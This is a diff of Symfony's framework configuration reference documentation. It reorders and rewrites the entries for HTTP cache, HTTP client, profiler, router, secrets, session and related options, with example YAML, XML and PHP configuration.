-An associative array of the HTTP headers added before making the request. This
-value must use the format ``['header-name' => 'value0, value1, ...']``.
+The number of seconds that a cache entry should be considered fresh when no
+explicit freshness information is provided in a response. Explicit
+Cache-Control or Expires headers override this value. (default: 0)
 
-.. _reference-http-client-retry-http-codes:
+enabled
+.......
 
-http_codes
-..........
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
+private_headers
+...............
 
-The list of HTTP status codes that triggers a retry of the request.
+**type**: ``array``
 
-http_version
-............
+Set of request headers that trigger "private" cache-control behavior on responses
+that don't explicitly state whether the response is public or private via a
+Cache-Control directive. (default: Authorization and Cookie)
 
-**type**: ``string`` | ``null`` **default**: ``null``
+skip_response_headers
+.....................
 
-The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
-to let Symfony select the best version automatically.
+**type**: ``array`` **default**: ``Set-Cookie``
 
-.. _reference-http-client-retry-jitter:
+Set of response headers that will never be cached even when the response is cacheable
+and public.
 
-jitter
-......
+stale_if_error
+..............
 
-**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
+**type**: ``integer``
 
-This option adds some randomness to the delay. It's useful to avoid sending
-multiple requests to the server at the exact same time. The randomness is
-calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
-is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%).
+Specifies the default number of seconds (the granularity is the second) during
+which the cache can serve a stale response when an error is encountered
+(default: 60). This setting is overridden by the stale-if-error HTTP
+Cache-Control extension (see RFC 5861).
 
-local_cert
-..........
+stale_while_revalidate
+......................
 
-**type**: ``string``
+**type**: ``integer``
 
-The path to a file that contains the `PEM formatted`_ certificate used by the
-HTTP client. This is often combined with the ``local_pk`` and ``passphrase``
-options.
+Specifies the default number of seconds (the granularity is the second as the
+Response TTL precision is a second) during which the cache can immediately return
+a stale response while it revalidates it in the background (default: 2).
+This setting is overridden by the stale-while-revalidate HTTP Cache-Control
+extension (see RFC 5861).
 
-local_pk
-........
+trace_header
+............
 
 **type**: ``string``
 
-The path of a file that contains the `PEM formatted`_ private key of the
-certificate defined in the ``local_cert`` option.
+Header name to use for traces. (default: X-Symfony-Cache)
 
-.. _reference-http-client-retry-max-delay:
+trace_level
+...........
 
-max_delay
-.........
+**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
 
-**type**: ``integer`` **default**: ``0``
+For 'short', a concise trace of the main request will be added as an HTTP header.
+'full' will add traces for all requests (including ESI subrequests).
+(default: 'full' if in debug; 'none' otherwise)
 
-The maximum amount of milliseconds initial to wait between retries.
-Use ``0`` to not limit the duration.
+.. _reference-http-client:
 
-max_duration
-............
+http_client
+~~~~~~~~~~~
 
-**type**: ``float`` **default**: ``0``
+When the HttpClient component is installed, an HTTP client is available
+as a service named ``http_client`` or using the autowiring alias
+:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`.
 
-The maximum execution time, in seconds, that the request and the response are
-allowed to take. A value lower than or equal to 0 means it is unlimited.
+.. _reference-http-client-default-options:
 
-max_host_connections
-....................
+This service can be configured using ``framework.http_client.default_options``:
 
-**type**: ``integer`` **default**: ``6``
+.. configuration-block::
 
-Defines the maximum amount of simultaneously open connections to a single host
-(considering a "host" the same as a "host name + port number" pair). This limit
-also applies for proxy connections, where the proxy is considered to be the host
-for which this limit is applied.
+    .. code-block:: yaml
 
-max_redirects
-.............
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
 
-**type**: ``integer`` **default**: ``20``
+    .. code-block:: xml
 
-The maximum number of redirects to follow. Use ``0`` to not follow any
-redirection.
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-.. _reference-http-client-retry-max-retries:
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
 
-max_retries
-...........
+    .. code-block:: php
 
-**type**: ``integer`` **default**: ``3``
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
 
-The maximum number of retries for failing requests. When the maximum is reached,
-the client returns the last received response.
+    .. code-block:: php-standalone
 
-.. _reference-http-client-retry-multiplier:
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
-multiplier
-..........
+.. _reference-http-client-scoped-clients:
 
-**type**: ``float`` **default**: ``2``
+Multiple pre-configured HTTP client services can be defined, each with its
+service name defined as a key under ``scoped_clients``. Scoped clients inherit
+the default options defined for the ``http_client`` service. You can override
+these options and can define a few others:
 
-This value is multiplied to the delay each time a retry occurs, to distribute
-retries in time instead of making all of them sequentially.
+.. configuration-block::
 
-no_proxy
-........
+    .. code-block:: yaml
 
-**type**: ``string`` | ``null`` **default**: ``null``
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
 
-A comma separated list of hosts that do not require a proxy to be reached, even
-if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty
-string to match none (disables the proxy).
+    .. code-block:: xml
 
-passphrase
-..........
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-**type**: ``string``
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
 
-The passphrase used to encrypt the certificate stored in the file defined in the
-``local_cert`` option.
+    .. code-block:: php
 
-peer_fingerprint
-................
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
 
-**type**: ``array``
+    .. code-block:: php-standalone
 
-When negotiating a TLS connection, the server sends a certificate
-indicating its identity. A public key is extracted from this certificate and if
-it does not exactly match any of the public keys provided in this option, the
-connection is aborted before sending or receiving any data.
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
-The value of this option is an associative array of ``algorithm => hash``
-(e.g ``['pin-sha256' => '...']``).
+Options defined for scoped clients apply only to URLs that match either their
+`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always
+use default options.
 
-proxy
-.....
+Each scoped client also defines a corresponding named autowiring alias.
+If you use for example
+``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
+as the type and name of an argument, autowiring will inject the ``my_api.client``
+service into your autowired classes.
 
-**type**: ``string`` | ``null``
+auth_basic
+..........
 
-The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the
-proxy automatically based on your system configuration.
+**type**: ``string``
 
-query
-.....
+The username and password used to create the ``Authorization`` HTTP header
+used in HTTP Basic authentication. The value of this option must follow the
+format ``username:password``.
 
-**type**: ``array``
+auth_bearer
+...........
 
-An associative array of the query string values added to the URL before making
-the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
+**type**: ``string``
 
-rate_limiter
-............
+The token used to create the ``Authorization`` HTTP header used in HTTP Bearer
+authentication (also called token authentication).
 
-**type**: ``string``
+auth_ntlm
+.........
 
-The service ID of the rate limiter used to limit the number of HTTP requests
-within a certain period. The service must implement the
-:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
+**type**: ``string``
 
-.. versionadded:: 7.1
+The username and password used to create the ``Authorization`` HTTP header used
+in the `Microsoft NTLM authentication protocol`_. The value of this option must
+follow the format ``username:password``. This authentication mechanism requires
+using the cURL-based transport.
 
-    The ``rate_limiter`` option was introduced in Symfony 7.1.
+.. _reference-http-client-base-uri:
 
-resolve
-.......
+base_uri
+........
 
-**type**: ``array``
+**type**: ``string``
 
-A list of hostnames and their IP addresses to pre-populate the DNS cache used by
-the HTTP client in order to avoid a DNS lookup for those hosts. This option is
-useful to improve security when IPs are checked before the URL is passed to the
-client and to make your tests easier.
+URI that is merged into relative URIs, following the rules explained in the
+`RFC 3986`_ standard. This is useful when all the requests you make share a
+common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to
+every request.
 
-The value of this option is an associative array of ``domain => IP address``
-(e.g ``['symfony.com' => '46.137.106.254', ...]``).
+Here are some common examples of how ``base_uri`` merging works in practice:
 
-.. _reference-http-client-retry-failed:
+==========================  ==================  =============================
+``base_uri``                Relative URI        Actual Requested URI
+==========================  ==================  =============================
+http://example.org          /bar                http://example.org/bar
+http://example.org/foo      /bar                http://example.org/bar
+http://example.org/foo      bar                 http://example.org/bar
+http://example.org/foo/     /bar                http://example.org/bar
+http://example.org/foo/     bar                 http://example.org/foo/bar
+http://example.org          http://symfony.com  http://symfony.com
+http://example.org/?bar     bar                 http://example.org/bar
+http://example.org/api/v4   /bar                http://example.org/bar
+http://example.org/api/v4/  /bar                http://example.org/bar
+http://example.org/api/v4   bar                 http://example.org/api/bar
+http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
+==========================  ==================  =============================
 
-retry_failed
-............
+bindto
+......
 
-**type**: ``array``
+**type**: ``string``
 
-This option configures the behavior of the HTTP client when some request fails,
-including which types of requests to retry and how many times. The behavior is
-defined with the following options:
+A network interface name, IP address, a host name or a UNIX socket to use as the
+outgoing network interface.
 
-* :ref:`delay <reference-http-client-retry-delay>`
-* :ref:`http_codes <reference-http-client-retry-http-codes>`
-* :ref:`jitter <reference-http-client-retry-jitter>`
-* :ref:`max_delay <reference-http-client-retry-max-delay>`
-* :ref:`max_retries <reference-http-client-retry-max-retries>`
-* :ref:`multiplier <reference-http-client-retry-multiplier>`
+buffer
+......
 
-.. code-block:: yaml
+**type**: ``boolean`` | ``Closure``
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            # ...
-            default_options:
-                retry_failed:
-                    # retry_strategy: app.custom_strategy
-                    http_codes:
-                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                        429: true            # retry all responses with 429 status code
-                        500: ['GET', 'HEAD']
-                    max_retries: 2
-                    delay: 1000
-                    multiplier: 3
-                    max_delay: 5000
-                    jitter: 0.3
+Buffering the response means that you can access its content multiple times
+without performing the request again. Buffering is enabled by default when the
+content type of the response is ``text/*``, ``application/json`` or ``application/xml``.
 
-            scoped_clients:
-                my_api.client:
-                    # ...
-                    retry_failed:
-                        max_retries: 4
+If this option is a boolean value, the response is buffered when the value is
+``true``. If this option is a closure, the response is buffered when the
+returned value is ``true`` (the closure receives as argument an array with the
+response headers).
 
-retry_strategy
-..............
+cafile
+......
 
 **type**: ``string``
 
-The service is used to decide if a request should be retried and to compute the
-time to wait between retries. By default, it uses an instance of
-:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
-with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
-options. This class has to implement
-:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
+The path of the certificate authority file that contains one or more
+certificates used to verify the other servers' certificates.
 
-scope
-.....
+capath
+......
 
 **type**: ``string``
 
-For scoped clients only: the regular expression that the URL must match before
-applying all other non-default options. By default, the scope is derived from
-`base_uri`_.
+The path to a directory that contains one or more certificate authority files.
 
-timeout
+ciphers
 .......
 
-**type**: ``float`` **default**: depends on your PHP config
-
-Time, in seconds, to wait for network activity. If the connection is idle for longer, a
-:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
-Its default value is the same as the value of PHP's `default_socket_timeout`_
-config option.
-
-verify_host
-...........
+**type**: ``string``
 
-**type**: ``boolean`` **default**: ``true``
+A list of the names of the ciphers allowed for the TLS connections. They
+can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
-If ``true``, the certificate sent by other servers is verified to ensure that
-their common name matches the host included in the URL. This is usually
-combined with ``verify_peer`` to also verify the certificate authenticity.
+crypto_method
+.............
 
-verify_peer
-...........
+**type**: ``integer``
 
-**type**: ``boolean`` **default**: ``true``
+The minimum version of TLS to accept. The value must be one of the
+``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-If ``true``, the certificate sent by other servers when negotiating a TLS
-connection is verified for authenticity. Authenticating the certificate is not
-enough to be sure about the server, so you should combine this with the
-``verify_host`` option.
+.. _reference-http-client-retry-delay:
 
-html_sanitizer
-~~~~~~~~~~~~~~
+delay
+.....
 
-The ``html_sanitizer`` option (and its children) are used to configure
-custom HTML sanitizers. Read more about the options in the
-:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+**type**: ``integer`` **default**: ``1000``
 
-profiler
-~~~~~~~~
+The initial delay in milliseconds used to compute the waiting time between retries.
 
-.. _reference-profiler-enabled:
+.. _reference-http-client-retry-enabled:
 
 enabled
 .......
 
 **type**: ``boolean`` **default**: ``false``
 
-The profiler can be enabled by setting this option to ``true``. When you
-install it using Symfony Flex, the profiler is enabled in the ``dev``
-and ``test`` environments.
+Whether to enable the support for retry failed HTTP request or not.
+This setting is automatically set to true when one of the child settings is configured.
 
-.. note::
+extra
+.....
 
-    The profiler works independently from the Web Developer Toolbar, see
-    the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>`
-    on how to disable/enable the toolbar.
+**type**: ``array``
 
-collect
-.......
+Arbitrary additional data to pass to the HTTP client for further use.
+This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
 
-**type**: ``boolean`` **default**: ``true``
+.. _http-headers:
 
-This option configures the way the profiler behaves when it is enabled. If set
-to ``true``, the profiler collects data for all requests. If you want to only
-collect information on-demand, you can set the ``collect`` flag to ``false`` and
-activate the data collectors manually::
+headers
+.......
 
-    $profiler->enable();
+**type**: ``array``
 
-collect_parameter
-.................
+An associative array of the HTTP headers added before making the request. This
+value must use the format ``['header-name' => 'value0, value1, ...']``.
 
-**type**: ``string`` **default**: ``null``
+.. _reference-http-client-retry-http-codes:
 
-This specifies name of a query parameter, a body parameter or a request attribute
-used to enable or disable collection of data by the profiler for each request.
-Combine it with the ``collect`` option to enable/disable the profiler on demand:
+http_codes
+..........
 
-* If the ``collect`` option is set to ``true`` but this parameter exists in a
-  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
-  request data will not be collected;
-* If the ``collect`` option is set to ``false``, but this parameter exists in a
-  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
-  will be collected.
+**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
-only_exceptions
-...............
+The list of HTTP status codes that triggers a retry of the request.
 
-**type**: ``boolean`` **default**: ``false``
+http_version
+............
 
-When this is set to ``true``, the profiler will only be enabled when an
-exception is thrown during the handling of the request.
+**type**: ``string`` | ``null`` **default**: ``null``
 
-.. _only_master_requests:
+The HTTP version to use, typically ``'1.1'``  or ``'2.0'``. Leave it to ``null``
+to let Symfony select the best version automatically.
 
-only_main_requests
-..................
+.. _reference-http-client-retry-jitter:
+
+jitter
+......
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0)
 
-When this is set to ``true``, the profiler will only be enabled on the main
-requests (and not on the subrequests).
+This option adds some randomness to the delay. It's useful to avoid sending
+multiple requests to the server at the exact same time. The randomness is
+calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter
+is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%).
 
-.. _profiler-dsn:
+local_cert
+..........
 
-dsn
-...
+**type**: ``string``
 
-**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
+The path to a file that contains the `PEM formatted`_ certificate used by the
+HTTP client. This is often combined with the ``local_pk`` and ``passphrase``
+options.
 
-The DSN where to store the profiling information.
+local_pk
+........
 
-.. _collect_serializer_data:
+**type**: ``string``
 
-collect_serializer_data
-.......................
+The path of a file that contains the `PEM formatted`_ private key of the
+certificate defined in the ``local_cert`` option.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-http-client-retry-max-delay:
 
-Set this option to ``true`` to enable the serializer data collector and its
-profiler panel. When this option is ``true``, all normalizers and encoders are
-decorated by traceable implementations that collect profiling information about them.
+max_delay
+.........
 
-rate_limiter
-~~~~~~~~~~~~
+**type**: ``integer`` **default**: ``0``
 
-.. _reference-rate-limiter-name:
+The maximum amount of milliseconds initial to wait between retries.
+Use ``0`` to not limit the duration.
 
-name
-....
+max_duration
+............
 
-**type**: ``prototype``
+**type**: ``float`` **default**: ``0``
 
-Name of the rate limiter you want to create.
+The maximum execution time, in seconds, that the request and the response are
+allowed to take. A value lower than or equal to 0 means it is unlimited.
 
-lock_factory
-""""""""""""
+max_host_connections
+....................
 
-**type**: ``string`` **default:** ``lock.factory``
+**type**: ``integer`` **default**: ``6``
 
-The service that is used to create a lock. The service has to be an instance of
-the :class:`Symfony\\Component\\Lock\\LockFactory` class.
+Defines the maximum amount of simultaneously open connections to a single host
+(considering a "host" the same as a "host name + port number" pair). This limit
+also applies for proxy connections, where the proxy is considered to be the host
+for which this limit is applied.
 
-policy
-""""""
+max_redirects
+.............
 
-**type**: ``string`` **required**
+**type**: ``integer`` **default**: ``20``
 
-The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
-``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
-for more information.
+The maximum number of redirects to follow. Use ``0`` to not follow any
+redirection.
 
-request
-~~~~~~~
+.. _reference-http-client-retry-max-retries:
 
-formats
-.......
+max_retries
+...........
 
-**type**: ``array`` **default**: ``[]``
+**type**: ``integer`` **default**: ``3``
 
-This setting is used to associate additional request formats (e.g. ``html``)
-to one or more mime types (e.g. ``text/html``), which will allow you to use the
-format & mime types to call
-:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or
-:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`.
+The maximum number of retries for failing requests. When the maximum is reached,
+the client returns the last received response.
 
-In practice, this is important because Symfony uses it to automatically set the
-``Content-Type`` header on the ``Response`` (if you don't explicitly set one).
-If you pass an array of mime types, the first will be used for the header.
+.. _reference-http-client-retry-multiplier:
 
-To configure a ``jsonp`` format:
+multiplier
+..........
 
-.. configuration-block::
+**type**: ``float`` **default**: ``2``
 
-    .. code-block:: yaml
+This value is multiplied to the delay each time a retry occurs, to distribute
+retries in time instead of making all of them sequentially.
 
-        # config/packages/framework.yaml
-        framework:
-            request:
-                formats:
-                    jsonp: 'application/javascript'
+no_proxy
+........
 
-    .. code-block:: xml
+**type**: ``string`` | ``null`` **default**: ``null``
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
+A comma separated list of hosts that do not require a proxy to be reached, even
+if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty
+string to match none (disables the proxy).
 
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+passphrase
+..........
 
-            <framework:config>
-                <framework:request>
-                    <framework:format name="jsonp">
-                        <framework:mime-type>application/javascript</framework:mime-type>
-                    </framework:format>
-                </framework:request>
-            </framework:config>
-        </container>
+**type**: ``string``
 
-    .. code-block:: php
+The passphrase used to encrypt the certificate stored in the file defined in the
+``local_cert`` option.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+peer_fingerprint
+................
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->request()
-                ->format('jsonp', 'application/javascript');
-        };
+**type**: ``array``
 
-router
-~~~~~~
+When negotiating a TLS connection, the server sends a certificate
+indicating its identity. A public key is extracted from this certificate and if
+it does not exactly match any of the public keys provided in this option, the
+connection is aborted before sending or receiving any data.
 
-resource
-........
+The value of this option is an associative array of ``algorithm => hash``
+(e.g ``['pin-sha256' => '...']``).
 
-**type**: ``string`` **required**
+proxy
+.....
 
-The path the main routing resource (e.g. a YAML file) that contains the
-routes and imports the router should load.
+**type**: ``string`` | ``null``
 
-.. _reference-router-type:
+The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the
+proxy automatically based on your system configuration.
 
-type
-....
+query
+.....
 
-**type**: ``string``
+**type**: ``array``
 
-The type of the resource to hint the loaders about the format. This isn't
-needed when you use the default routers with the expected file extensions
-(``.xml``, ``.yaml``, ``.php``).
+An associative array of the query string values added to the URL before making
+the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
 
-default_uri
-...........
+rate_limiter
+............
 
 **type**: ``string``
 
-The default URI used to generate URLs in a non-HTTP context (see
-:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+The service ID of the rate limiter used to limit the number of HTTP requests
+within a certain period. The service must implement the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
 
-http_port
-.........
+.. versionadded:: 7.1
 
-**type**: ``integer`` **default**: ``80``
+    The ``rate_limiter`` option was introduced in Symfony 7.1.
 
-The port for normal http requests (this is used when matching the scheme).
+resolve
+.......
 
-https_port
-..........
+**type**: ``array``
 
-**type**: ``integer`` **default**: ``443``
+A list of hostnames and their IP addresses to pre-populate the DNS cache used by
+the HTTP client in order to avoid a DNS lookup for those hosts. This option is
+useful to improve security when IPs are checked before the URL is passed to the
+client and to make your tests easier.
 
-The port for https requests (this is used when matching the scheme).
+The value of this option is an associative array of ``domain => IP address``
+(e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
-strict_requirements
-...................
+.. _reference-http-client-retry-failed:
 
-**type**: ``mixed`` **default**: ``true``
+retry_failed
+............
 
-Determines the routing generator behavior. When generating a route that
-has specific :ref:`parameter requirements <routing-requirements>`, the generator
-can behave differently in case the used parameters do not meet these requirements.
+**type**: ``array``
 
-The value can be one of:
+This option configures the behavior of the HTTP client when some request fails,
+including which types of requests to retry and how many times. The behavior is
+defined with the following options:
 
-``true``
-    Throw an exception when the requirements are not met;
-``false``
-    Disable exceptions when the requirements are not met and return ``''``
-    instead;
-``null``
-    Disable checking the requirements (thus, match the route even when the
-    requirements don't match).
+* :ref:`delay <reference-http-client-retry-delay>`
+* :ref:`http_codes <reference-http-client-retry-http-codes>`
+* :ref:`jitter <reference-http-client-retry-jitter>`
+* :ref:`max_delay <reference-http-client-retry-max-delay>`
+* :ref:`max_retries <reference-http-client-retry-max-retries>`
+* :ref:`multiplier <reference-http-client-retry-multiplier>`
 
-``true`` is recommended in the development environment, while ``false``
-or ``null`` might be preferred in production.
+.. code-block:: yaml
 
-utf8
-....
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
 
-**type**: ``boolean`` **default**: ``true``
+retry_strategy
+..............
 
-When this option is set to ``true``, the regular expressions used in the
-:ref:`requirements of route parameters <routing-requirements>` will be run
-using the `utf-8 modifier`_. This will for example match any UTF-8 character
-when using ``.``, instead of matching only a single byte.
+**type**: ``string``
 
-If the charset of your application is UTF-8 (as defined in the
-:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
-recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
-errors.
+The service is used to decide if a request should be retried and to compute the
+time to wait between retries. By default, it uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy` configured
+with ``http_codes``, ``delay``, ``max_delay``, ``multiplier`` and ``jitter``
+options. This class has to implement
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryStrategyInterface`.
 
-cache_dir
-.........
+scope
+.....
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%``
+**type**: ``string``
 
-The directory where routing information will be cached. Can be set to
-``~`` (``null``) to disable route caching.
+For scoped clients only: the regular expression that the URL must match before
+applying all other non-default options. By default, the scope is derived from
+`base_uri`_.
 
-.. deprecated:: 7.1
+timeout
+.......
 
-    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
-    are now always cached in the ``%kernel.build_dir%`` directory.
+**type**: ``float`` **default**: depends on your PHP config
 
-secrets
-~~~~~~~
+Time, in seconds, to wait for network activity. If the connection is idle for longer, a
+:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
+Its default value is the same as the value of PHP's `default_socket_timeout`_
+config option.
 
-enabled
-.......
+verify_host
+...........
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable or not secrets managements.
-
-decryption_env_var
-..................
+If ``true``, the certificate sent by other servers is verified to ensure that
+their common name matches the host included in the URL. This is usually
+combined with ``verify_peer`` to also verify the certificate authenticity.
 
-**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+verify_peer
+...........
 
-The env var name that contains the vault decryption secret. By default, this
-value will be decoded from base64.
+**type**: ``boolean`` **default**: ``true``
 
-local_dotenv_file
-.................
+If ``true``, the certificate sent by other servers when negotiating a TLS
+connection is verified for authenticity. Authenticating the certificate is not
+enough to be sure about the server, so you should combine this with the
+``verify_host`` option.
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+ .. _configuration-framework-http_method_override:
 
-The path to the local ``.env`` file. This file must contain the vault
-decryption key, given by the ``decryption_env_var`` option.
+http_method_override
+~~~~~~~~~~~~~~~~~~~~
 
-vault_directory
-...............
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
+This determines whether the ``_method`` request parameter is used as the
+intended HTTP method on POST requests. If enabled, the
+:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>`
+method gets called automatically. It becomes the service container parameter
+named ``kernel.http_method_override``.
 
-The directory to store the secret vault. By default, the path includes the value
-of the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
-parameter.
+.. seealso::
 
-.. _config-framework-session:
+    :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
+    Symfony forms.
 
-session
-~~~~~~~
+.. warning::
 
-.. _storage_id:
+    If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
+    with this option, the kernel will ignore the ``_method`` parameter,
+    which could lead to errors.
 
-storage_factory_id
-..................
+    To fix this, invoke the ``enableHttpMethodParameterOverride()`` method
+    before creating the ``Request`` object::
 
-**type**: ``string`` **default**: ``session.storage.factory.native``
+        // public/index.php
 
-The service ID used for creating the ``SessionStorageInterface`` that stores
-the session. This service is available in the Symfony application via the
-``session.storage.factory`` service alias. The class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
-To see a list of all available storages, run:
+        // ...
+        $kernel = new CacheKernel($kernel);
 
-.. code-block:: terminal
+        Request::enableHttpMethodParameterOverride(); // <-- add this line
+        $request = Request::createFromGlobals();
+        // ...
 
-    $ php bin/console debug:container session.storage.factory.
+ide
+~~~
 
-.. _config-framework-session-handler-id:
+**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
 
-handler_id
-..........
+Symfony turns file paths seen in variable dumps and exception messages into
+links that open those files right inside your browser. If you prefer to open
+those files in your favorite IDE or text editor, set this option to any of the
+following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``,
+``atom`` and ``vscode``.
 
-**type**: ``string`` | ``null`` **default**: ``null``
+.. note::
 
-If ``framework.session.save_path`` is not set, the default value of this option
-is ``null``, which means to use the session handler configured in php.ini. If the
-``framework.session.save_path`` option is set, then Symfony stores sessions using
-the native file session handler.
+    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
+    Windows; Linux requires installing `phpstorm-url-handler`_.
 
-It is possible to :ref:`store sessions in a database <session-database>`,
-and also to configure the session handler with a DSN:
+If you use another editor, the expected configuration value is a URL template
+that contains an ``%f`` placeholder where the file path is expected and ``%l``
